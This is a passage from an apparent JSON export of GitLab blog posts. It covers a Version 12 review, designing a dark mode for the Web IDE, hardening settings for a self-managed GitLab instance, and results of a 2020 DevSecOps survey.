month/per version have grown steadily over versions 10, 11, and 12:\n\n![GitLab Monthly Community Contributions per Major Version](https://about.gitlab.com/images/blogimages/GitLabCommunityContributionsMonthlyPerMajorVersion.png){: .shadow}\n\nOur company and our community are truly working together to make [DevOps](/topics/devops/) a reality for teams of all sizes.\n\nLooking back, Version 12 has been about expanding our focus, first by treating developers, security, and operations alike as first-class citizens in DevOps. [We called 12.0 our DevSecOps release](/releases/2019/06/22/gitlab-12-0-released/) and we’ve delivered on that vision in the year since.\n\nGitLab has also grown to help more types of users contribute, such as by building in [Requirements Management](/releases/2020/04/22/gitlab-12-10-released/#create-and-view-requirements-in-gitlab) and [Design Management](/releases/2019/08/22/gitlab-12-2-released/#annotations-for-designs). As you have more people collaborating in a single application, features like our new [Compliance Dashboard](/blog/make-tracking-agreements-simple-compliance-dashboard/) are more useful, in that case making compliance easier for everyone.\n\n## Dev\n\n![Dev](https://about.gitlab.com/images/blogimages/GitLab-Dev.png){: .small.left.wrap-text}\n\nFor developers, it’s all about delivering and shipping faster while meeting business demands. Today, we provide granular analytics on merge requests, with [Productivity Analytics](/releases/2019/09/22/gitlab-12-3-released/#productivity-analytics) and [Code Review Analytics](/blog/troubleshoot-delays-with-code-review-analytics/), in addition to full, downloadable [Code Quality Reports](/releases/2020/03/22/gitlab-12-9-released/#full-code-quality-report) for even more visibility.\n\nBuilt-in package management now includes a [GitLab Conan repository](/releases/2019/12/22/gitlab-12-6-released/#manage-cc-packages-via-conan-within-gitlabs-package-registry) for C and C++ developers, and a [NuGet repository](/releases/2020/02/22/gitlab-12-8-released/#build-publish-and-share-packages-to-the-gitlab-nuget-net-repository) for Windows developers.\n\nAutomation is fundamental for DevOps teams, and with [Directed Acyclic Graphs](/releases/2019/08/22/gitlab-12-2-released/#directed-acyclic-graphs-dag-for-gitlab-pipelines) and [Parent-Child Pipelines](/releases/2020/01/22/gitlab-12-7-released/#parent-child-pipelines), complex pipelines are now faster and more flexible.\n\n## Sec\n\n![Sec](https://about.gitlab.com/images/blogimages/GitLab-Sec.png){: .small.right.wrap-text}\n\n[DevSecOps](/solutions/security-compliance/) is not only about shifting left with testing or security — it’s also increasing visibility downstream or “shifting right.” Security teams need to manage and mitigate business risk. To do that, they need visibility into development and what vulnerabilities are being created or discovered.\n\nYou can now easily access and export a project’s [Dependency List](/releases/2019/06/22/gitlab-12-0-released/#project-dependency-list) or “Bill of Materials.” Our [scorecard on Security Dashboards](/releases/2019/12/22/gitlab-12-6-released/#quickly-understand-your-at-risk-projects-with-project-security-grades) lets you know immediately which projects are most at risk.\n\nWe also have more efficient [vulnerability management](/releases/2020/03/22/gitlab-12-9-released/#select-and-dismiss-multiple-vulnerabilities) on security dashboards and [autoremediation of vulnerabilities found in Container Scanning](/releases/2020/03/22/gitlab-12-9-released/#suggested-solution-for-container-scanning). Our new [Container Network Security](/releases/2020/02/22/gitlab-12-8-released/#network-policies-for-container-network-security) helps prevent lateral attacks.\n\n## Ops\n\n![Ops](https://about.gitlab.com/images/blogimages/GitLab-Ops.png){: .small.left.wrap-text}\n\nBut containers and applications don’t really run themselves. Application teams everywhere need to plan and architect for stability and efficiency.\n\nEnvironments become hard to wrangle when you have more than just a few, and our [Environments Dashboard](/releases/2019/11/22/gitlab-12-5-released/#environments-dashboard) lets you see what’s going on across projects. For teams with a high volume of merges, [Merge Trains](/releases/2019/07/22/gitlab-12-1-released/#parallel-execution-strategy-for-merge-trains) help mitigate potential conflicts in production pipelines.\n\nManaging deploy tokens is now more efficient, as we introduced both [group-level deploy tokens](/releases/2020/03/22/gitlab-12-9-released/#group-deploy-tokens) and an API to administer them. You can now leverage [HashiCorp Vault](/releases/2020/03/22/gitlab-12-9-released/#secure-your-applications-with-secrets-management-and-vulnerability-remediation) to securely manage keys, tokens, and other secrets with Vault as a GitLab CI managed app.\n\nWe are strong believers in automating repetitive tasks. Creating a new cluster should be simple, and our [EKS integration](/releases/2019/11/22/gitlab-12-5-released/#easily-create-and-deploy-to-an-eks-cluster) does just that. Finally, our new [Log Explorer](/releases/2020/02/22/gitlab-12-8-released/#explore-aggregated-logs) aggregates Kubernetes logs across pods and services, making them searchable and much more useful.\n\n## GitLab is for Everyone\n\nWith Version 12, we can see GitLab is not only for developers, and it’s not even only for DevOps. Expect more progress in Version 13 and beyond, as we continue on [our mission to change all creative work from read-only to read-write](/company/#about-us).\n\nGitLab is for everyone, and everyone can contribute. [Join us, at GitLab.com](https://about.gitlab.com/).\n\nCover image by [Matt Howard](https://unsplash.com/@thematthoward?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/s/photos/journey?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText).\n{: .note}\n",[754,267,676],{"slug":23403,"featured":6,"template":678},"version-12-year-in-review","content:en-us:blog:version-12-year-in-review.yml","Version 12 Year In Review","en-us/blog/version-12-year-in-review.yml","en-us/blog/version-12-year-in-review",{"_path":23409,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":23410,"content":23416,"config":23421,"_id":23423,"_type":16,"title":23424,"_source":17,"_file":23425,"_stem":23426,"_extension":20},"/en-us/blog/creating-a-dark-ui-for-gitlabs-web-ide",{"title":23411,"description":23412,"ogTitle":23411,"ogDescription":23412,"noIndex":6,"ogImage":23413,"ogUrl":23414,"ogSiteName":1180,"ogType":1181,"canonicalUrls":23414,"schema":23415},"How we created a dark UI for GitLab's Web IDE","The Web IDE now has a Dark Mode, and we've put together a few learnings from a design perspective.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749669611/Blog/Hero%20Images/ide-dark-post-banner.png","https://about.gitlab.com/blog/creating-a-dark-ui-for-gitlabs-web-ide","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we created a dark UI for GitLab's Web IDE\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Marcel van Remmerden\"},{\"@type\":\"Person\",\"name\":\"Jeremy Elder\"}],\n        \"datePublished\": \"2020-05-20\",\n      }",{"title":23411,"description":23412,"authors":23417,"heroImage":23413,"date":23418,"body":23419,"category":734,"tags":23420},[17088,4182],"2020-05-20","\n\nOne of the most popular and exciting feature requests we often hear about from our amazing community is a [dark mode for the entire GitLab UI](https://gitlab.com/gitlab-org/gitlab/-/issues/14531). It's currently the second most upvoted issue for all of GitLab.\n\nNext to being very popular in the design and development world, a dark mode can be incredibly helpful for users with vision impairments. One of our community members posted this comment, that demonstrates very well how valuable it can be to give users the chance to choose between a light and a dark mode:\n\n> It really comes down to website accessibility. I am legally blind and part of my eye condition is something called photophobia (which is poorly named—it's not a \"fear\" of light, it's that direct bright lights, especially sudden direct bright lights, are like having an ice pick shoved into my eyeballs.)\n\nAt GitLab, we believe in small changes and fast iterations. When our Design team was thinking about how we could split this up and tackle it in small steps, we looked for isolated pieces of our UI that we could create a dark mode for, and the feature that stood out was the [Web IDE](https://docs.gitlab.com/ee/user/project/web_ide/#web-ide).\n\n## What is the Web IDE?\n\nThe Web IDE (Integrated Development Environment) is a code editor in the browser that allows you to change multiple files at once. Afterwards, you can commit their changes to a branch and create merge requests to discuss those changes and eventually merge them.\n\n![GitLab Web IDE](https://about.gitlab.com/images/blogimages/ide-dark-light-mode-browser.png){: .center}\nThe GitLab Web IDE\n{: .note.text-center}\n\nUsers of the Web IDE find it to be helpful for quickly making small changes or easily viewing their files in a familiar context, similar to their appearance in a local editor.\n\n### Syntax highlighting\n\nAfter deciding the Web IDE would be the first feature of the GitLab user interface (UI) to get a dark mode, we faced one fundamental question: How would the dark mode align with syntax highlighting themes already within GitLab? There are several themes that users may choose to display their repository files, snippets, or other code elements in their preferred way.\n\n![User syntax settings](https://about.gitlab.com/images/blogimages/ide-dark-syntax.png){: .center}\nUser syntax highlighting theme settings\n{: .note.text-center}\n\nThe Web IDE exists as a tool within the larger context of GitLab. Similarly, the syntax themes exist within the context of the Web IDE. Our goal was to avoid scenarios where the code area that follows the syntax highlighting theme wouldn't be aligned with the rest of the UI, which could be jarring.\n\nWe made the decision to keep the settings easily consumable, and treat the dark mode for the Web IDE UI as an extension of the dark syntax highlighting theme. From version 13.0 on, you can enable it by selecting the dark syntax highlighting theme, and the rest of the Web IDE will automatically follow. This also gives us the opportunity to later extend other themes and align the rest of the Web IDE UI to their colors.\n\n## The design process\n\n### Light and dark UI vs. themes\n\nInitially, we defined a few concepts to help shape our approach. We refer to light and dark UI in terms of the qualities they have, like brightness, depth, structure, and hierarchy. In GitLab, themes are preferential styles that reside on the UI, and use color to change only the appearance of a few elements.\n\n![UI versus themes](https://about.gitlab.com/images/blogimages/ide-dark-ui-vs-themes.png){: .center}\nThe difference between the UI and themes in GitLab\n{: .note.text-center}\n\n### Working in Figma\n\n#### Figma community\n\nAs soon as we wanted to start experimenting with the UI, we noticed first hand that \"Everyone can contribute\" is not only GitLab's core mission, but also an idea that is very much alive in the Figma community. The amazing designers at Microsoft have open-sourced a [design toolkit for Visual Studio Code](https://www.figma.com/community/file/786632241522687494) that allowed us to easily grab the relevant pieces, plug them into our own design file, and manipulate them.\n\n#### Asynchronous feedback\n\nAnother aspect that's deeply embedded in GitLab's ways of working and the way we build our products is asynchronous collaboration. We are the largest all-remote company in the world, and the two designers working on this feature are located in time zones seven hours apart.\n\nUsing Figma to collaborate and give each other feedback on our ideas enabled us to ship this feature with only having to schedule a single meeting, and the rest of the discussions handled via Figma comments. As these discussions were between designers and purely around visual aspects, we kept the discussion inside of Figma instead of using our own [Design Management](https://docs.gitlab.com/ee/user/project/issues/design_management.html) features, which came into play later during the discussions with the engineer working on this feature. It also allowed us to easily involve a lot of other team members, and get comments from other designers all over the globe.\n\n![A comment thread in Figma](https://about.gitlab.com/images/blogimages/ide-dark-async-thread.png){: .center}\nAsync design feedback in Figma\n{: .note.text-center}\n\n### Design challenges\n\nThe overarching design challenge was, and continues to be, understanding how the appearance of elements change as they appear in light vs. dark UI. Generally, structural, container-like UI elements decrease brightness, but content works the opposite and is sometimes nearly inverted. The fundamentals of light, shadow, and depth don't change, but the way the elements leverage them does. Similarly, the principles of content legibility, hierarchy, and contrast don't change, but the content does to uphold those principles.\n\nIn the side-by-side example below, we've compared just a few UI elements to demonstrate how they could change between light and dark UI.\n\n![Comparing light and dark UI in the Web IDE](https://about.gitlab.com/images/blogimages/ide-dark-comparison.png){: .center}\nComparing light and dark UI in the Web IDE\n{: .note.text-center}\n\nWhen we map the changes in this small sample, patterns start to emerge. Elements like backgrounds evenly shift darker together to maintain the same sense of depth, while some text content nearly inverts, and the button almost stays the same.\n\n![Colors mapped between light and dark UI](https://about.gitlab.com/images/blogimages/ide-dark-mapping-fade.png){: .center}\nMapping element color in light and dark UI\n{: .note.text-center}\n\nAt face value, it can seem as though many elements are inverted, but that's an oversimplification that leads to an interface looking not quite right. Here's how we're thinking about a few of the specific design challenges we encountered.\n\n#### Stateful elements\n\nIn a light UI, we darken element states to increase contrast, and typically do the opposite in a dark UI. This wasn't the case for tabs and similar elements that have backgrounds more closely integrated into other sections of the UI. And while the borders on the buttons got lighter, the background didn't because we needed to maintain text contrast.\n\n![Button and tab states in light and dark UI](https://about.gitlab.com/images/blogimages/ide-dark-states.png){: .center}\nComparing element states in light and dark UI\n{: .note.text-center}\n\nThis uncovers nuanced differences in the approach between dark and light UI, and we're still ratifying differences and establishing repeatable patterns. Needless to say each element deserves plenty of attention.\n\n#### Visual hierarchy and depth\n\nAs mentioned above, depth in dark mode was generally approached in the same way as in a light UI. Brighter elements are more forward, and darker ones recede. In the case of tabs and the file tree we are using a different approach and making these areas darker to increase contrast, rather than evenly darkening layers. We're learning that depth and contrast can both be effective tools, but they aren't always used the same in dark and light UI.\n\nA quick note on shadows, they shouldn't be replaced with glows — a completely different effect. Shadows are noticeably less effective in dark mode, so we explored more variance in gray backgrounds for neighboring sections.\n\n#### Graphics and illustration\n\nGraphics created for a light UI can seem garish or out of place in a dark UI. Images should be addressed on a case-by-case basis, but illustrations and icons can be addressed as a whole. We're exploring CSS variables and classes for SVG fill and path colors. One example that we had to solve were pipeline status icons. These exist in a couple of places in our product and initially had a white background. As this makes them stand out too much in dark mode, we had to rewrite their SVG code to get them to be transparent instead.\n\n![Icons with and without background fill changes](https://about.gitlab.com/images/blogimages/ide-dark-pipeline-icons.png){: .center}\nEnsuring that graphics, like icons, can be adjusted too\n{: .note.text-center}\n\nWith that in place we could map light and dark palettes. For now we're just ensuring that there aren't backgrounds in SVGs that feel out of place.\n\n#### How to ship in small pieces\n\nOur philosophy is to release changes or features as soon as they can help users. This sometimes leads to us shipping features that are not completely polished, which is in line with this [famous quote by Reid Hoffmann](https://twitter.com/reidhoffman/status/847142924240379904?lang=en), the founder and CEO of LinkedIn:\n\n> If you're not embarrassed by the first version of your product, you've launched too late.\n\nThe first version of this feature we released had only the code area styled with the dark syntax highlighting theme. Even though it felt a bit out of place, we received good feedback, which was evidence we were headed in the right direction.\n\n![MVC dark mode with light file tree](https://about.gitlab.com/images/blogimages/ide-dark-first-version.png){: .center}\nMVC dark mode with light file tree\n{: .note.text-center}\n\nFrom that point on, we sliced the remaining UI into smaller pieces. Every time we finished a piece, we released the newest version to all our users and started working on the next area. This highly iterative approach would not be acceptable in a lot of other companies, but at GitLab we believe in minimal viable changes ([MVC](https://handbook.gitlab.com/handbook/values/#minimal-viable-change-mvc)).\n\nAnother thing we learned was that a dark mode exposed not only structural UI deficiencies, but also inflexible code. Our initial intention was to leave a couple of seldom visited areas unstyled, but we noticed that keeping CSS styles from bleeding over into these areas would cause more problems and effort than fixing it altogether.\n\n#### Effective prototyping\n\nAs demonstrated in the previous paragraphs, one of the toughest challenges when designing a dark mode are elements with multiple states. This is also one of the aspects designers are still struggling with when prototyping, which led to us tackling this problem in a couple of ways:\n\n- Creating a large prototype with many artboards to represent edge cases and states\n- Relying heavily on a well-defined color system\n- Multiple sync calls with an engineer to fix smaller aspects, e.g., animations on the fly\n\nFor the next iteration of the prototype, we are going to investigate whether we can leverage Figma's components in a way that buttons have the same hover/focus/active states on multiple artboards. We have set up a [first small test](https://www.figma.com/proto/SvimjjirW0pkn69TNBztU9/Button-state-example?node-id=1%3A3&scaling=min-zoom) to prove that it would be possible, but haven't used it on a more complex prototype yet.\n\n![Web IDE Figma prototype](https://about.gitlab.com/images/blogimages/ide-dark-prototype-lg.png){: .center}\nWeb IDE prototype in Figma to demonstrate states\n{: .note.text-center}\n\n## What we learned so far\n\n- Answering questions for dark mode leads to many questions about why we're doing things a certain way in a light UI. It creates a great circular effect that challenges how we think about the entire UI, which leads to solid convictions.\n- Even a dark mode can be worked on in small iterations. Over the course of this process, we have created dark versions for all Web IDE specific UI elements, but also for dropdowns and modals, which are global elements. This not only makes it easier for us to think about the design, but also about how the code should be structured for a global dark mode.\n- We are clearly standing on the shoulders of giants. Designing and developing this dark mode at such a fast pace was only possible because we had many great in-depth resources about dark mode available to us. The two that stood out the most are [Apple's Human Interface Guidelines](https://developer.apple.com/design/human-interface-guidelines/ios/visual-design/dark-mode/) and the dark theme section from [Material Design](https://material.io/design/color/dark-theme.html).\n\n![Web IDE dark mode](https://about.gitlab.com/images/blogimages/ide-dark-loop.gif){: .center}\nWeb IDE dark mode\n{: .note.text-center}\n\n### Next steps\n\n- For the Web IDE as a feature, we're in the process of making our code more easily themable, so that other syntax highlighting themes can be extended more flexibly.\n- We're also planning to clean up the prototype we created, and either create a Web IDE UI Kit, or integrate it into our Pajamas design system, so that others can easily access, modify, and contribute to it.\n\nLastly, you can contribute too! We would especially love to see contributions to extend the other syntax highlighting themes to the rest of our Web IDE UI. If you have anything else in regards to the Web IDE you'd like us to consider, [create a new issue](https://gitlab.com/gitlab-org/gitlab/issues/new) and be sure to tag the GitLab UX Department (@gitlab-com/gitlab-ux). If you'd like to be part of our testing efforts at any level, sign up for our [GitLab First Look](/community/gitlab-first-look/) program. You can also [contribute](https://gitlab.com/gitlab-org/gitlab-design/-/blob/master/CONTRIBUTING-Figma.md) to the design of GitLab by starting with our [Pajamas UI Kit](https://www.figma.com/community/file/781156790581391771) in Figma.\n",[3554,2249,2248,1444],{"slug":23422,"featured":6,"template":678},"creating-a-dark-ui-for-gitlabs-web-ide","content:en-us:blog:creating-a-dark-ui-for-gitlabs-web-ide.yml","Creating A Dark Ui For Gitlabs Web Ide","en-us/blog/creating-a-dark-ui-for-gitlabs-web-ide.yml","en-us/blog/creating-a-dark-ui-for-gitlabs-web-ide",{"_path":23428,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":23429,"content":23435,"config":23439,"_id":23441,"_type":16,"title":23442,"_source":17,"_file":23443,"_stem":23444,"_extension":20},"/en-us/blog/gitlab-instance-security-best-practices",{"title":23430,"description":23431,"ogTitle":23430,"ogDescription":23431,"noIndex":6,"ogImage":23432,"ogUrl":23433,"ogSiteName":1180,"ogType":1181,"canonicalUrls":23433,"schema":23434},"GitLab instance: security best practices","Default settings on products can be massively helpful. However, when it comes to hardening your GitLab instance, we’ve got some helpful configuration recommendations from our security team.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749667057/Blog/Hero%20Images/configs_unsplash.jpg","https://about.gitlab.com/blog/gitlab-instance-security-best-practices","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab instance: security best practices\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Mark Loveless\"}],\n        \"datePublished\": \"2020-05-20\",\n      }",{"title":23430,"description":23431,"authors":23436,"heroImage":23432,"date":23418,"body":23437,"category":674,"tags":23438},[5362],"GitLab is a feature-rich and powerful collaboration tool that is easy to use, and our self-managed installation is intended to be ready-to-go right out of the box. Exposing *any* service to the internet can create its own challenges from a security perspective, and as a result an administrator might have a bit of head-scratching over how to set things up safely.\n\nFortunately, we have a large number of security features and options that can be used to help lock things down. In this blog post, we’ve highlighted a few important features that will certainly help an administrator harden that new GitLab instance - particularly one facing the internet.\n\n## Access basics\n\nDuring the initial GitLab installation, you will be asked to set up a root password. Obviously, we highly recommend a long password, unique to your GitLab instance that is not easily guessable with a mixture of uppercase and lowercase along with numbers and special characters. For a working example, see how we advise GitLab team members to create, store and manage [passwords](/handbook/security/#accounts-and-passwords).\n\nTo help simplify your installation, consider using environment variables. The root password can also be set this way. For example:\n\n`GITLAB_ROOT_PASSWORD=hunter2 GITLAB_HOST=https://hunter2.instance apt install gitlab-ee`\n\nThis has the added advantage of kicking off the entire [letsencrypt](https://letsencrypt.org/) process to ensure up-to-date certificates are used for your instance.\n\nYou will also want to ensure that users of your instance are also using strong, unique passwords, and you will want to ensure that the methods they use to access your instance are solid. Again, refer to our documentation on passwords for some ideas to share.\n\nThere are some choices you can make to limit access to data and restrict access to authorized users. In **Admin Area > Settings > General** you will want to expand the \"visibility and access controls\" section and make a few changes.\n\nTo help secure SSH access, RSA SSH keys should be allowed, as well as ED25519. Without going *too* deep, the open source crowd seems to prefer ED25519 as everything about it is open source (well-documented, trustworthy elliptical curve parameters), whereas other algorithms do not specify or go into details as to why they chose certain values. DSA also has a theoretical attack that could be used against it, although RSA could in theory fall to the same attack but is more resistant. Ah, but I digress! The main reason to support both RSA and ED25519 is that older systems that will connect may not be set up for ED25519, but will still support RSA, so at least both are recommended. With respect to RSA, encourage your users to use 2048 bits or higher when configuring keys.\n\nWe highly recommend using passwordless SSH authentication over password authentication. The communications are more secure (passwordless SSH authentication uses public/private key cryptography), it allows for an easier workflow, and it is one less password to worry about.\n\nFor more on SSH keys, see our documentation on [ssh keys restrictions](https://docs.gitlab.com/ee/security/ssh_keys_restrictions.html), as well as the additional [visibility and access control](https://docs.gitlab.com/ee/administration/settings/visibility_and_access_controls.html) settings that can be configured.\n\n## Restricting how and who\n\nThere are a few settings we recommend tweaking to help define how users access our instance and who we even allow to have access. You’ll want to check out three areas in particular under the **Admin Area > Settings > General** settings.\n\n**Sign up restrictions:**\n* Ensure open sign-up is disabled on your instance. Open registration is disabled by default on self-managed instances with GitLab 13.6 and above installed. If new sign-up is enabled and your instance is open to the internet, anyone can sign up and access data. Administrators who would like to further restrict access on their instance can [follow our documentation on how to configure user access](https://docs.gitlab.com/ee/administration/settings/sign_up_restrictions.html#disable-new-sign-ups).\n* Make sure that Send confirmation email on sign-up\" is checked. This adds a level of assurance that the user is in fact a real user.\n* If you want to restrict access to a sub-group such as the users in your organization, consider configuring a whitelist for your organization’s domain, (e.g., \"example.com\") which will allow them to sign up.\n* Minimum password length: 12. For users that are allowed access, make sure they will be using longer passwords. See our [password length limits documentation](https://docs.gitlab.com/ee/security/password_length_limits.html) for details.\n* For more detailed information, see our [documentation around sign up restrictions](https://docs.gitlab.com/ee/administration/settings/sign_up_restrictions.html)\n\n**Sign in restrictions:**\n* Make sure that Require 2FA is enabled. Multifactor authentication is the more secure method of protecting authentication to a user's account, and is strongly encouraged.\n* Disable \"password authentication enabled for Git over HTTP(S)\" if for some reason you can’t require MFA. This will require users to use a personal access token, further securing the user accounts.\n* For more detailed information, check our [documentation around sign in restrictions](https://docs.gitlab.com/ee/administration/settings/sign_in_restrictions.html).\n\n**Visibility and privacy:**\nEnsure project visibility is set to [\"Private\"](https://docs.gitlab.com/ee/user/public_access.html) on [existing projects](https://docs.gitlab.com/ee/user/public_access.html) and [by default for *new* projects](https://docs.gitlab.com/ee/administration/settings/visibility_and_access_controls.html#default-project-visibility). Private projects can only be cloned, downloaded, or viewed by project members, newly registered users will not be able to access these projects.\n\n## Improving performance and network tweaks\n\nThere are a few settings that will allow you to help protect your system from various network usage spikes, making your system a lot more stable and accessible for users.\n\n#### User and IP rate limits\nGoing to **Admin Area > Network > User and IP rate limits** allows you to make a few adjustments. Specifically you will want all three items checked:\n\n* \"Enable unauthenticated request rate limit\"\n* \"Enable authenticated API request rate limit\"\n* \"Enable authenticated web request rate limit\"\n\nThe default values associated with those items should be fine under most conditions. For more information, see our [documentation around user and IP rate limits](https://docs.gitlab.com/ee/administration/settings/user_and_ip_rate_limits.html).\n\n#### Webhooks\nWebhooks are a useful feature with a lot of power. Unless there is a legitimate need to allow webhooks to communicate with internal services, they should be restricted to services that are publicly reachable, which you can verify in **Admin Area > Network > Outbound Requests**. While the \"allow requests to the local network from web hooks and services\" is disabled by default, you should also uncheck \"allow requests to the local network from system hooks\" as well. For more detail, including some of the dangers inherent in webhooks, see our [webhooks documentation](https://docs.gitlab.com/ee/security/webhooks.html).\n\n#### Protected paths\nIn **Admin Area > Network > Protected Paths** ensure that \"Enable protected paths rate limit\" has been checked. Default values should be more than sufficient. For details, check out our [protected paths documentation](https://docs.gitlab.com/ee/administration/settings/protected_paths.html).\n\n## Customize your configuration, harden your instance\n\nWe understand with security there is always a balance between protection and agility. In the cases of customers with internet-facing GitLab instances, there are often choices driven by a combination of different business drivers and needs. However, with the help of a few configuration tweaks you can harden your instance and better protect your organization, while still remaining open to the internet.\n\nAdditional settings, including those with security implications, can be found in the [Admin Area](https://docs.gitlab.com/ee/administration/settings/). You'll want to explore those to really fine-tune your setup and make it your own. For some of you, these will have their own security implications that may be unique to your organization. Have fun exploring and securing your instance!\n\nCover image by [Alexey Ruban](https://unsplash.com/@intelligenciya) on [Unsplash](https://unsplash.com/)\n{: .note}\n",[674,2952,696],{"slug":23440,"featured":6,"template":678},"gitlab-instance-security-best-practices","content:en-us:blog:gitlab-instance-security-best-practices.yml","Gitlab Instance Security Best Practices","en-us/blog/gitlab-instance-security-best-practices.yml","en-us/blog/gitlab-instance-security-best-practices",{"_path":23446,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":23447,"content":23452,"config":23457,"_id":23459,"_type":16,"title":23460,"_source":17,"_file":23461,"_stem":23462,"_extension":20},"/en-us/blog/devsecops-survey-released",{"title":23448,"description":23449,"ogTitle":23448,"ogDescription":23449,"noIndex":6,"ogImage":9234,"ogUrl":23450,"ogSiteName":1180,"ogType":1181,"canonicalUrls":23450,"schema":23451},"Our 2020 DevSecOps Survey found faster releases and changing roles","Nearly 3700 software pros shared their DevOps successes, failures and thoughts on the future. Here’s what you need to know.","https://about.gitlab.com/blog/devsecops-survey-released","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Our 2020 DevSecOps Survey found faster releases and changing roles\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Valerie Silverthorne\"}],\n        \"datePublished\": \"2020-05-18\",\n      }",{"title":23448,"description":23449,"authors":23453,"heroImage":9234,"date":23454,"body":23455,"category":736,"tags":23456},[11618],"2020-05-18","\n_Our [2022 Global DevSecOps Survey](https://about.gitlab.com/developer-survey/previous/2022/) is out now! Learn the latest in DevOps insights from over 5,000 DevOps professionals._\n\nIn February 2020, nearly 3700 DevOps practitioners from 21 countries shared, often in their own words, the reality of their software development journeys. They told us DevOps works for them: Nearly 83% said they’re releasing code faster and about 60% are deploying code either multiple times a day, daily, or every other day. But they also offered details of a less obvious but perhaps more important shift – their roles are changing, in some cases dramatically, because of DevOps.\n\nAlthough this survey was completed before today’s unprecedented economic upheaval, we think the insights in our [2020 Global DevSecOps Survey](/developer-survey/) may help you get a greater understanding of real world DevOps and the way job responsibilities are changing for developers, security pros, operations team members, and testers.\n\n## Dev + Ops\n\nWhy are developers releasing code more quickly with DevOps? For starters, they’re adding some of the key DevOps components including CI, SCM, automated testing, and CD.\n\n_\"Pre-deployment tests have provided more confidence that the product is ready to be released, also delivery frequency has increased.\"_\n\nBut the technology changes only tell part of the story. Traditional operations-type duties like provisioning or maintaining environments are increasingly part of development responsibilities. Over 34% of developers say they define and/or create the infrastructure their app runs on.\n\n_\"Deployment has become a non-task. Bootstrapping new projects is 10x faster because of the reusable infrastructure.\"_\n\nDevelopers say they’re no longer doing lots of hands-on tasks – like manual testing, deployments or merging – but they are increasingly responsible for security. In fact 28% say they’re now solely responsible for security in their organizations, a clear sign that security is beginning to \"shift left\" in a material way.\n\n_\"Security varies project to project. DevOps is usually tasked with 'protecting' our environments. We devs try to follow industry standards code-wise.\"_\n\n## An uneasy alliance\n\nAlthough security remains a work in progress at many if not most organizations, there are a few signs that [DevSecOps](/solutions/security-compliance/) is actually happening. Security professionals report that they are (finally) part of cross-functional teams and are working more closely with developers than ever before.\n\n_\"(Security) is becoming less focused into silo positions and more of a jack of all trades role.\"_\n\nIn fact 65% of security teams say their organizations have \"shifted left\" though, when we drilled down to find out what that actually meant, the details became much less clear. Fewer than 19% put SAST scan results into a pipeline report a developer can access and dynamic application security testing (DAST) fares even worse – less than 14% of companies give developers access to those reports.\n\nAt the same time, security teams continue to report that developers don't find enough bugs early enough in the process and/or that they’re reluctant to fix them when they are discovered.\n\nTo add to the confusion, 33% of security pros say they’re solely responsible for security in their organizations. But nearly the same percentage – 29% – say *everyone* is responsible. The ideal, of course, is what was shared by one survey taker:\n\n_\"We don’t have separate security, developers and operations; we are DevSecOps (and more).\"_\n\n## In the clouds\n\nOperations is often the place where the proverbial rubber hits the road and that’s particularly true with DevOps. In fact over 60% of operations team members report their roles are changing thanks to DevOps.\n\nWhat do these new roles look like?\n\n_\"Ops is 60% new project work and 40% operations/fire-fighting/developer support.\"_\n\n_\"We ensure reliability and availability, improve developer efficiency, automation, tools, and observability.\"_\n\n_\"We keep the lights on.\"_\n\n_\"(Ops today is) anything between dev and ops. From planning to deployment but not monitoring and maintaining apps in production.\"_\n\nToday 42% of operations team members see their role as primarily managing hardware and infrastructure, while 52% say their first priority is managing cloud services.\n\n## The trouble with test\n\nFor the second year in a row our survey takers have pointed squarely to testing as the number one reason releases are delayed. Last year 49% said test was at fault; this year it was 47%.\n\nBut there are small signs of change. Almost three-quarters of organizations report they have shifted testing left, meaning they’ve moved it earlier into the development process. What does that actually mean? Approximately 31% said developers test some of their code and 25% said automated testing happens as code is being written. About 17% said dev and test work as a team to test \"as close to real time as possible,\" and about 9% said they practice test-driven development (TDD).\n\n_\"We do TDD. QA and dev act as a team. We have automated tests running parallel with developing code.\"_\n\nLike security, testers say they are now much more involved in the development process. Nearly 30% said they’re working more closely with developers, and 16% said they have \"a more visible seat at the table.\" And just over 15% said that thanks to DevOps, they’re much more likely to be able to \"test what matters.\"\n\n_\"We have to write less paper and tickets and have faster reaction times.\"_\n\n_\"We’re all the same – dev team is the ops team.\"_\n\n_\"We’re starting to see light at the end of the tunnel.\"_\n\n## Looking forward\n\nOur respondents had a big list of areas they hope to focus on for the future from automation to CI/CD and even going more deeply into DevOps. DevOps and lifelong learning clearly go hand in hand.\nBut let’s end on a high note. We asked developers how prepared they are for the future: 71% said prepared or very prepared, while less than 25% said \"not very prepared.\" But we like this comment left from one developer, who has the lifelong learning baked in:\n\n_\"I’m only prepared because I constantly keep tinkering on the side.\"_\n\n_Our [2022 Global DevSecOps Survey](/developer-survey/) has the latest insights from over 5,000 DevOps professionals. You can also compare it with [previous year surveys](/developer-survey/previous/)_\n",[4103,8570,110],{"slug":23458,"featured":6,"template":678},"devsecops-survey-released","content:en-us:blog:devsecops-survey-released.yml","Devsecops Survey Released","en-us/blog/devsecops-survey-released.yml","en-us/blog/devsecops-survey-released",{"_path":23464,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":23465,"content":23471,"config":23475,"_id":23477,"_type":16,"title":23478,"_source":17,"_file":23479,"_stem":23480,"_extension":20},"/en-us/blog/security-strengthened-by-interation-and-transparency",{"title":23466,"description":23467,"ogTitle":23466,"ogDescription":23467,"noIndex":6,"ogImage":23468,"ogUrl":23469,"ogSiteName":1180,"ogType":1181,"canonicalUrls":23469,"schema":23470},"Security strengthened by iteration, and transparency","Iteration is a core value at GitLab. How do you keep things protected when change is a 